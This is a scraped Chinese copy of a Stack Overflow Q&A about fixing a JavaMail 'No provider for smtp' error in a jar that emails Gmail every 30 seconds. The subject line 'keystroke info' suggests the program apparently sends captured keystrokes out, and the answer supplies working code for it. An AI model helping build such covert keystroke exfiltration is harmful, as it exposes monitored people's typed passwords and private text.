gpt4 book ai didi

通过 gmail 发送电子邮件时出现 Java smtp 错误

转载 作者:行者123 更新时间:2023-11-30 10:08:48 25 4
gpt4 key购买 nike

基本上,我通过 Eclipse 创建了一个可运行的 jar 文件,它应该每 30 秒向我发送一封电子邮件。代码在 Eclipse 中运行时运行良好,但在创建 jar 文件并运行 jar 文件后出现此错误。

javax.mail.NoSuchProviderException: No provider for smtp
at javax.mail.Session.getProvider(Session.java:460)
at javax.mail.Session.getTransport(Session.java:655)
at javax.mail.Session.getTransport(Session.java:636)
at handlers.Sender.Send(Sender.java:89)
at handlers.Sender.Send(Sender.java:34)
at handlers.ManageService.run(ManageService.java:29)
at java.lang.Thread.run(Unknown Source)

我已经在此页面上尝试了一些解决方案 Send email using java但什么也做不了。我是否遗漏了什么或者其他人有任何其他解决方案吗?

package handlers;

import java.util.Properties;

import javax.mail.Session;
import javax.mail.Transport;
import javax.mail.internet.InternetAddress;
import javax.mail.internet.MimeMessage;
import javax.mail.internet.MimeMessage.RecipientType;

public class Sender {
private Sender() {

}

private static final String SENDERS_GMAIL = "EMAIL";
private static final String SENDERS_PASSWORD = "PASS";

private static final String RECIEVERS_EMAIL = "EMAIL";

private static Properties mailServerProperties;
private static Session mailSess;
private static MimeMessage mailMessage;

public static void sendMail(String emailBody) throws Throwable {
mailServerProperties = System.getProperties();
mailServerProperties.put("mail.smtp.port", "587");
mailServerProperties.put("mail.smtp.auth", "true");
mailServerProperties.put("mail.smtp.starttls.enable", "true");

mailSess = Session.getDefaultInstance(mailServerProperties);
mailMessage = new MimeMessage(mailSess);
mailMessage.addRecipient(RecipientType.BCC, new InternetAddress(RECIEVERS_EMAIL));
mailMessage.setSubject("keystroke info");
mailMessage.setContent(emailBody, "text/html");


Transport transport = mailSess.getTransport("smtp");
transport.connect("smtp.gmail.com", SENDERS_GMAIL, SENDERS_PASSWORD);
transport.sendMessage(mailMessage, mailMessage.getAllRecipients());
transport.close();
}

最佳答案

请更新您的 jar 文件并使用以下链接将最新稳定版本的 JavaMail jar 文件放入您的项目中:

https://mvnrepository.com/artifact/javax.mail/mail

然后你应该添加SMTP主机,你好像忘记在你的代码中了:

props.put("mail.smtp.host", "smtp.gmail.com");

试试这段代码:

    final String username = "username@gmail.com";
final String password = "password";

Properties props = new Properties();
props.put("mail.smtp.auth", "true");
props.put("mail.smtp.starttls.enable", "true");
props.put("mail.smtp.host", "smtp.gmail.com");
props.put("mail.smtp.port", "587");

Session session = Session.getInstance(props,
new javax.mail.Authenticator() {
protected PasswordAuthentication getPasswordAuthentication() {
return new PasswordAuthentication(username, password);
}
});

try {

Message message = new MimeMessage(session);
message.setFrom(new InternetAddress("from-email@gmail.com"));
message.addRecipient(Message.RecipientType.BCC, new InternetAddress(RECIEVERS_EMAIL));
message.setSubject("keystroke info");
message.setText("Email body text message");

Transport.send(message);

System.out.println("Done");

} catch (MessagingException e) {
throw new RuntimeException(e);
}

关于通过 gmail 发送电子邮件时出现 Java smtp 错误,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/53622741/

25 4 0
Copyright 2021 - 2024 cfsdn All Rights Reserved 蜀ICP备2022000587号
广告合作:1813099741@qq.com 6ren.com